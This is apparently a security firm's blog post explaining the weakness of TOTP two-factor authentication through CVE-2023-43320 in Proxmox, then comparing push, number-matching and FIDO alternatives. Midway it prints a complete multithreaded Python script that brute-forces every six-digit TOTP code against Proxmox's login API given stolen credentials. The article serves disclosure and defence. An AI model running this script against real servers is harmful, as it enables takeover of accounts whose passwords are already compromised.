Back

Why TOTP Won’t Cut It (And What to Consider Instead)

This article is co-authored by Gabe Rust. 

Welcome to the Battlefield

Staring at the soft glow of a monitor, a hacker sipped coffee and watched the minutes tick by. The credentials had been obtained. The code needed to brute force the TOTP code had been written, and now it was just a matter of time. With each unsuccessful attempt, he could feel the tension in the room building. Ding. The computer screen lit up with a message of success. Satisfied, the hacker leaned back with a wry smile on his lips and thought, “I am the admin now.” 

While TOTP was once an advancement in authorizing secure access, today it’s become a dated security measure that allows persistent threat actors to find exploitable gaps. In this article we’ll explore security risks of TOTP and an alternative 2FA method to increase security.

Time-Based One-Time Password (TOTP) is a common two-factor authentication (2FA) mechanism used across the internet. TOTP operates by generating dynamic, time-sensitive passcodes that are typically valid for 30 seconds. The process is orchestrated during setup by exchanging a shared secret. During authentication, the secret is used in combination with the time in a cryptographic hash function to produce a secure 6-digit passcode. When a user enters a TOTP token, the server calculates the current valid token and compares them.  

This method is often used in places where 2FA is an afterthought. It’s a simple method that doesn’t require a ton of code complexity to implement. If a product arbitrarily decides to implement 2FA, TOTP is likely high on the list of supported options. However, this lack of complexity leads to a significant downfall which we will explore.

When Great Becomes…Not so Great: A Light Review of CVE-2023-43320 

Proxmox products supporting TOTP prior to version 8.0 allowed users to utilize TOTP 2FA via an authenticator application of their choice. However, due to the possibility of causing a Denial-of-Service (DoS) condition for legitimate users, TOTP authentication attempts were not rate limited.  

I made the initial discovery while reviewing the Proxmox authentication flow through Burp. Specifically, I noticed that during the 2FA portion of the authentication process, I was able to submit the same request multiple times. It stood out as interesting to me because I had recently been debating the merits of session-based vs request-based CSRF tokens with a friend. I sent the request to intruder and set it to cycle through same token 100 times. It turns out that this token was neither. Once a token was issued, it was time-based.  

But then it struck me. I had just sent 100 TOTP attempts. Would the app still let me authenticate? Why yes, it did. I started wondering about the probabilities of brute forcing TOTP. Some friends said it would take years…others guessed it could be done in days. I knew that the lack of rate limiting created a security risk: an attacker with knowledge of a valid credential pair could brute force the PIN. The only question was how long it would take. Using a rate of ten requests per second, real-world testing demonstrated successful attacks in as little as just over 12 hours. Here is an excellent article about the probabilities of brute forcing TOTP. 

Lets have a look at the code that was used to exploit this CVE:

import concurrent.futures 
import time 
import requests 
import urllib.parse 
import json 
import os 
import urllib3 
  
urllib3.disable_warnings() 
threads=25 
  
#################### REPLACE THESE VALUES ######################### 
password="KNOWN PASSWORD HERE"  
username="KNOWN USERNAME HERE" 
target_url=https://HOST:PORT 
################################################################## 
  
ticket="" 
ticket_username="" 
CSRFPreventionToken="" 
ticket_data={} 
  
auto_refresh_time = 20 # in minutes - 30 minutes before expiration 
last_refresh_time = 0 
 
tokens = []; 

for num in range(0,1000000): 
   tokens.append(str(num).zfill(6)) 
  
     
def refresh_ticket(target_url, username, password): 
   global CSRFPreventionToken 
   global ticket_username 
   global ticket_data 
   refresh_ticket_url = target_url + "/api2/extjs/access/ticket" 
   refresh_ticket_cookies = {} 
   refresh_ticket_headers = {} 
   refresh_ticket_data = {"username": username, "password": password, "realm": "pve", "new-format": "1"} 
   ticket_data_raw = urllib.parse.unquote(requests.post(refresh_ticket_url, headers=refresh_ticket_headers, cookies=refresh_ticket_cookies, data=refresh_ticket_data, verify=False).text) 
   ticket_data = json.loads(ticket_data_raw) 
   CSRFPreventionToken = ticket_data["data"]["CSRFPreventionToken"] 
   ticket_username = ticket_data["data"]["username"] 
  
  
def attack(token): 
   global last_refresh_time 
   global auto_refresh_time 
   global target_url 
   global username 
   global password 
   global ticket_username 
   global ticket_data 
   if ( int(time.time()) > (last_refresh_time + (auto_refresh_time * 60)) ): 
       refresh_ticket(target_url, username, password) 
       last_refresh_time = int(time.time()) 
  
   url = target_url + "/api2/extjs/access/ticket" 
   cookies = {} 
   headers = {"Csrfpreventiontoken": CSRFPreventionToken} 
   stage_1_ticket = str(json.dumps(ticket_data["data"]["ticket"]))[1:-1] 
   stage_2_ticket = stage_1_ticket.replace('\\"totp\\":', '\"totp\"%3A').replace('\\"recovery\\":', '\"recovery\"%3A') 
   data = {"username": ticket_username, "tfa-challenge": stage_2_ticket, "password": "totp:" + str(token)} 
   response = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False) 
   if(len(response.text) > 350): 
       print(response.text) 
       os._exit(1) 
  
while(1): 
   refresh_ticket(target_url, username, password) 
   last_refresh_time = int(time.time()) 
  
   with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor: 
       res = [executor.submit(attack, token) for token in tokens] 
       concurrent.futures.wait(res)

This Python script utilizes a concurrent approach with multiple threads to attempt various TOTP codes in order, repeatedly, until successful. A success state is identified by a response length longer than 350 characters. An attacker would simply need to provide a valid credential pair and target. View the details of CVE-2023-43320.

The options for using TOTP securely are limited. Proxmox fixed the issue by limiting the maximum number of 2FA attempts. Additionally, to enable TOTP, another 2FA method must be enabled as well. If too many generic 2FA fails occur, the user account is locked for one hour. If too many consecutive failed TOTP attempts occur, TOTP is disabled on the user account until they re-enable it after authenticating with another form of 2FA.  

There are two situations an account lockout could happen in. First, if a legitimate user accidentally enters the wrong TOTP key too many times, they could cause a Denial-of-Service condition for themselves. This is certainly not a great position for a user to find themselves in. However, the second situation is where real problems get uncovered. If an attacker is guessing TOTP codes, they already have valid credentials, which should be changed by the legitimate user. In this situation, using recovery codes to reset the credentials and the TOTP seed is a viable solution when TOTP is required.

We must take a step back and look at the overall workflow that our 2FA solutions are following to identify security gaps in the flow. For example, Conor Gilsenan, author of “TOTP: (way) more secure than SMS, but more annoying than Push” created this helpful workflow for TOTP.

Figure 1https://allthingsauth.com/2018/04/05/totp-way-more-secure-than-sms-but-more-annoying-than-push/ 

Observe that the authentication portion occurs strictly in step five, with Alice manually entering a One-Time-Passcode (OTP) that appears on her authenticator application into the browser. There are no safeguards proving that the number being entered was read from the authenticator application and not randomly generated. This leads to issues such as CVE-2023-43320. Some solutions have been created that require the user to take an action on their device. Such methods mitigate attackers being able to brute force PIN codes. 

Let’s look at the traditional workflow for push notifications as shown in the article “Multi-Factor Authentication (MFA/2FA) Methods” by Rublon.

Figure 2https://rublon.com/blog/2fa-authentication-methods/

In this workflow, an attacker is not naturally able to click approve or deny, but there is still a workflow flaw: user error. Users frequently click the wrong button for various reasons and if there are only two choices, the chance of clicking the wrong one is 50%. Imagine a member of your team opening their laptop at 8 am, pre-coffee, and getting a push 2FA notification. To that worker it seems natural, but in this case an attacker was waiting with a rogue access point and already obtained their credentials to access the Active Directory network.  

Finally, we can inspect a push solution that helps solve the workflow issue.

Figure 3 – NetSPI

This is the Microsoft Authenticator application. This push solution presents a two-digit number in the browser that the user must enter into the authenticator application. Now, if a user accidentally clicks yes, they must have also entered the correct number between 10 and 99. This solution does not present a serious hurdle for users.  

If an attacker obtains credentials and sends a 2FA request, the user does not have any reference for what number to enter. Technically, a user may attempt to guess a number for any variety of reasons; however, the odds of a successful breach in that particular scenario are reduced to one in 90, as opposed to 50% in other push-based implementations of 2FA. 

So, what is the goal for 2FA? While two-factor authentication has significantly improved account security, its current implementations have shortcomings that leave users vulnerable to persistent attackers. Several 2FA methods exist, but most of them offer only moderate protection and introduce friction into the user experience. 

For example, 2FA solutions should not be phishable. An attacker should not be able to contact a user and convince them to approve a 2FA attempt remotely. Currently, Cybersecurity and Infrastructure Security Agency (CISA) requires that all government agencies, vendors, and contractors they work with utilize phishing-resistant multifactor authentication (MFA). Currently, those solutions are FIDO/WebAuthn and PKI-based. An example of a FIDO workflow can be seen in this Descope article, “What Is FIDO2 & How Does FIDO Authentication Work?”:

Figure 4https://www.descope.com/learn/post/fido2#

In this workflow, a user must present a physical key, such as a security card or USB device, that contains a private key. This key is used to sign a challenge to authenticate to an application or service. However, this method is vulnerable to theft. An attacker should not be able to steal a device and approve a 2FA request with it themselves.  

Currently, no solution is both phish- and theft-proof. Significant innovation is necessary in this space to overcome the limitations of current 2FA solutions. However, a new generation of innovators is coming along and perhaps the solution will arrive with them.

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X